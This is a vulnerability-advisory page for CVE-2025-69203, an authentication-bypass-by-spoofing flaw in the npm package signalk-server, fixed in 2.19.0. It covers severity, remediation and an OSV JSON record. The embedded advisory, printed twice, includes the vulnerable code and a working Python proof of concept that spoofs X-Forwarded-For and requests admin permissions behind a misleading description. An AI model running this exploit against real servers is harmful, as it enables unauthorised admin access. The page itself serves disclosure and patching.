CVE-2025-69203: Signalk server Signal K Server Vulnerable To Vulnerability

MODERATE
Advisory Identifier: GHSA-vfrf-vcj7-wvr8
CVSS 6.3
CWE-290
Published
Advisory Summary

CVE-2025-69203 is a MODERATE (CVSS 6.3) signal k server vulnerable to vulnerability (CWE-290: Authentication Bypass by Spoofing) affecting Signalk server libraries in the npm ecosystem. The issue involves signal k server vulnerable to access request spoofing. Remediation is available by upgrading affected packages to version 2.19.0.

CVE-2025-69203 at a Glance

CVE Identifier CVE-2025-69203
GHSA Identifier GHSA-vfrf-vcj7-wvr8
Severity MODERATE
CVSS v3.1 Base Score 6.3
CWE Classification CWE-290: Authentication Bypass by Spoofing
Affected Product Signalk server
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 6.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability Low (A:L)

How to Fix CVE-2025-69203

To remediate this vulnerability, upgrade all affected Signalk server dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

signalk-server fixed: 2.19.0
npm install signalk-server@2.19.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls signalk-server

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2025-69203, inspect your project dependencies using npm:

npm ls signalk-server

Analyze the terminal output to locate any version of Signalk server in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.19.0), your application is affected.

Note: The npm ls signalk-server command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-290: Authentication Bypass by Spoofing, where this attack-focused weakness is caused by incorrectly implemented authentication schemes that are subject to spoofing attacks. In Signalk server, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

The SignalK access request system has two related features that when combined by themselves and with the infromation disclosure vulnerability enable convincing social engineering attacks against administrators. When a device creates an access request, it specifies three fields: `clientId`, `description`, and `permissions`. The SignalK admin UI displays the `description` field prominently to the administrator when showing pending requests, but the actual `permissions` field (which determines the access level granted) is less visible or displayed separately. This allows an attacker to request `admin` permissions while providing a description that suggests readonly access. The access request handler trusts the `X-Forwarded-For` HTTP header without validation to determine the client's IP address. This header is intended to preserve the original client IP when requests pass through reverse proxies, but when trusted unconditionally, it allows attackers to spoof their IP address. The spoofed IP is displayed to administrators in the access request approval interface, potentially making malicious requests appear to originate from trusted internal network addresses. Since device/source names can be enumerated via the information disclosure vulnerability, an attacker can impersonate a legitimate device or source, craft a convincing description, spoof a trusted internal IP address, and request elevated permissions, creating a highly convincing social engineering scenario that increases the likelihood of administrator approval. ### Affected Code **File**: `packages/server-admin-ui/src/views/security/AccessRequests.js` The admin UI renders access requests showing the description field prominently. The permissions field is displayed but may not be as visually prominent, leading administrators to approve based on the description text. **File**: `src/tokensecurity.js` (access request creation and IP extraction) ```javascript // Access request accepts any permissions value from the client const permissions = req.body.permissions // No validation against description // IP address extraction trusts X-Forwarded-For without validation const ip = req.headers['x-forwarded-for'] || req.connection.remoteAddress ``` The code prioritizes the `X-Forwarded-For` header over the actual connection IP, allowing client-controlled spoofing. ### Impact An administrator who trusts device descriptions and IP addresses may inadvertently grant admin privileges to an attacker. The combination of spoofed device name, misleading description, and trusted internal IP address creates a highly convincing social engineering attack. Combined with the token theft vulnerability, this provides a complete authentication bypass requiring only one click from the admin. ### PoC ```python import requests TARGET = "http://localhost:3000" SPOOFED_IP = "192.168.1.100" def create_spoofed_request(device_name): payload = { "clientId": device_name, "description": f"{device_name} - Read Only", # Misleading "permissions": "admin" # Actually requesting admin! } headers = { "Content-Type": "application/json", "X-Forwarded-For": SPOOFED_IP # Spoof internal IP } r = requests.post( f"{TARGET}/signalk/v1/access/requests", json=payload, headers=headers ) if r.status_code == 202: data = r.json() href = data.get("href") request_id = href.split("/")[-1] if href else None print(f"[+] Access request created!") print(f"[+] Request ID: {request_id}") print(f"[+] Admin sees: '{payload['description']}'") print(f"[+] Actual permissions: {payload['permissions']}") print(f"[+] Spoofed IP: {SPOOFED_IP}") return request_id else: print(f"[-] Failed: {r.status_code} - {r.text}") return None if __name__ == "__main__": # First enumerate devices/sources using info disclosure vulnerability sources = requests.get(f"{TARGET}/signalk/v1/api/sources").json() devices = [d for d in sources.keys() if d != "defaults"] if devices: print(f"[+] Found devices: {devices}") create_spoofed_request(devices[0]) else: create_spoofed_request("sensor-01") ``` ### Recommendation 1. Display permissions prominently. The admin UI should prominently display the requested permission level with visual warnings for elevated permissions (readwrite, admin). Consider requiring administrators to explicitly select the permission level during approval rather than accepting the requested value. 2. Validate X-Forwarded-For headers. Only trust `X-Forwarded-For` headers from configured trusted proxy IP addresses. Implement Express.js trust proxy settings or equivalent. Log both the forwarded IP and the actual connection IP for audit purposes. 3. Whitelist device IP addresses. Implement an IP whitelist for access requests, allowing only known device IP addresses to create requests. This prevents external attackers from creating spoofed requests.

CVE-2025-69203 Affected Signalk server Versions

1 component(s)
Fixed Versions:
2.19.0
Product / Package Ecosystem Affected Versions Fixed Version
signalk-server
npm
< 2.19.0
2.19.0

References

Frequently Asked Questions

What is CVE-2025-69203?
CVE-2025-69203 is a security vulnerability in Signalk server involving Signal K Server Vulnerable to Access Request Spoofing under CWE-290: Authentication Bypass by Spoofing.
Which Signalk server versions are affected?
Affected versions include releases prior to 2.19.0 across affected packages: signalk-server.
What version fixes CVE-2025-69203?
Upgrading to 2.19.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is signalk-server affected?
Yes, signalk-server is affected in releases prior to 2.19.0. Upgrade your dependency to 2.19.0 or later.
What is the CVSS score of CVE-2025-69203?
CVE-2025-69203 has a CVSS v3.1 base score of 6.3 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L.
What CWE is associated with CVE-2025-69203?
CVE-2025-69203 is classified under CWE-290: Authentication Bypass by Spoofing (This attack-focused weakness is caused by incorrectly implemented authentication schemes that are subject to spoofing attacks.).
How can I check npm dependencies for CVE-2025-69203?
Run the dependency tree command: 'npm ls signalk-server'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-vfrf-vcj7-wvr8",
  "modified" : "2026-01-02T15:26:11Z",
  "published" : "2026-01-02T15:26:11Z",
  "aliases" : [ "CVE-2025-69203" ],
  "summary" : "Signal K Server Vulnerable to Access Request Spoofing",
  "details" : "The SignalK access request system has two related features that when combined by themselves and with the infromation disclosure vulnerability enable convincing social engineering attacks against administrators.\n\nWhen a device creates an access request, it specifies three fields: `clientId`, `description`, and `permissions`. The SignalK admin UI displays the `description` field prominently to the administrator when showing pending requests, but the actual `permissions` field (which determines the access level granted) is less visible or displayed separately. This allows an attacker to request `admin` permissions while providing a description that suggests readonly access.\n\nThe access request handler trusts the `X-Forwarded-For` HTTP header without validation to determine the client's IP address. This header is intended to preserve the original client IP when requests pass through reverse proxies, but when trusted unconditionally, it allows attackers to spoof their IP address. The spoofed IP is displayed to administrators in the access request approval interface, potentially making malicious requests appear to originate from trusted internal network addresses.\n\nSince device/source names can be enumerated via the information disclosure vulnerability, an attacker can impersonate a legitimate device or source, craft a convincing description, spoof a trusted internal IP address, and request elevated permissions, creating a highly convincing social engineering scenario that increases the likelihood of administrator approval.\n\n### Affected Code\n\n**File**: `packages/server-admin-ui/src/views/security/AccessRequests.js`\n\nThe admin UI renders access requests showing the description field prominently. The permissions field is displayed but may not be as visually prominent, leading administrators to approve based on the description text.\n\n**File**: `src/tokensecurity.js` (access request creation and IP extraction)\n\n```javascript\n// Access request accepts any permissions value from the client\nconst permissions = req.body.permissions  // No validation against description\n\n// IP address extraction trusts X-Forwarded-For without validation\nconst ip = req.headers['x-forwarded-for'] || req.connection.remoteAddress\n```\n\nThe code prioritizes the `X-Forwarded-For` header over the actual connection IP, allowing client-controlled spoofing.\n\n### Impact\n\nAn administrator who trusts device descriptions and IP addresses may inadvertently grant admin privileges to an attacker. The combination of spoofed device name, misleading description, and trusted internal IP address creates a highly convincing social engineering attack. Combined with the token theft vulnerability, this provides a complete authentication bypass requiring only one click from the admin.\n\n### PoC\n\n```python\nimport requests\n\nTARGET = \"http://localhost:3000\"\nSPOOFED_IP = \"192.168.1.100\"\n\ndef create_spoofed_request(device_name):\n    payload = {\n        \"clientId\": device_name,\n        \"description\": f\"{device_name} - Read Only\",  # Misleading\n        \"permissions\": \"admin\"  # Actually requesting admin!\n    }\n    \n    headers = {\n        \"Content-Type\": \"application/json\",\n        \"X-Forwarded-For\": SPOOFED_IP  # Spoof internal IP\n    }\n    \n    r = requests.post(\n        f\"{TARGET}/signalk/v1/access/requests\",\n        json=payload,\n        headers=headers\n    )\n    \n    if r.status_code == 202:\n        data = r.json()\n        href = data.get(\"href\")\n        request_id = href.split(\"/\")[-1] if href else None\n        \n        print(f\"[+] Access request created!\")\n        print(f\"[+] Request ID: {request_id}\")\n        print(f\"[+] Admin sees: '{payload['description']}'\")\n        print(f\"[+] Actual permissions: {payload['permissions']}\")\n        print(f\"[+] Spoofed IP: {SPOOFED_IP}\")\n        \n        return request_id\n    else:\n        print(f\"[-] Failed: {r.status_code} - {r.text}\")\n        return None\n\nif __name__ == \"__main__\":\n    # First enumerate devices/sources using info disclosure vulnerability\n    sources = requests.get(f\"{TARGET}/signalk/v1/api/sources\").json()\n    devices = [d for d in sources.keys() if d != \"defaults\"]\n    \n    if devices:\n        print(f\"[+] Found devices: {devices}\")\n        create_spoofed_request(devices[0])\n    else:\n        create_spoofed_request(\"sensor-01\")\n```\n\n### Recommendation\n\n1. Display permissions prominently. The admin UI should prominently display the requested permission level with visual warnings for elevated permissions (readwrite, admin). Consider requiring administrators to explicitly select the permission level during approval rather than accepting the requested value.\n2. Validate X-Forwarded-For headers. Only trust `X-Forwarded-For` headers from configured trusted proxy IP addresses. Implement Express.js trust proxy settings or equivalent. Log both the forwarded IP and the actual connection IP for audit purposes.\n3. Whitelist device IP addresses. Implement an IP whitelist for access requests, allowing only known device IP addresses to create requests. This prevents external attackers from creating spoofed requests.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "signalk-server"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.19.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/SignalK/signalk-server/security/advisories/GHSA-vfrf-vcj7-wvr8"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-69203"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/SignalK/signalk-server/commit/221aff6cd89c56308084d1781b3abbf938605bd3"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/SignalK/signalk-server"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/SignalK/signalk-server/releases/tag/v2.19.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-290" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-01-02T15:26:11Z",
    "nvd_published_at" : "2026-01-01T19:15:54Z"
  }
}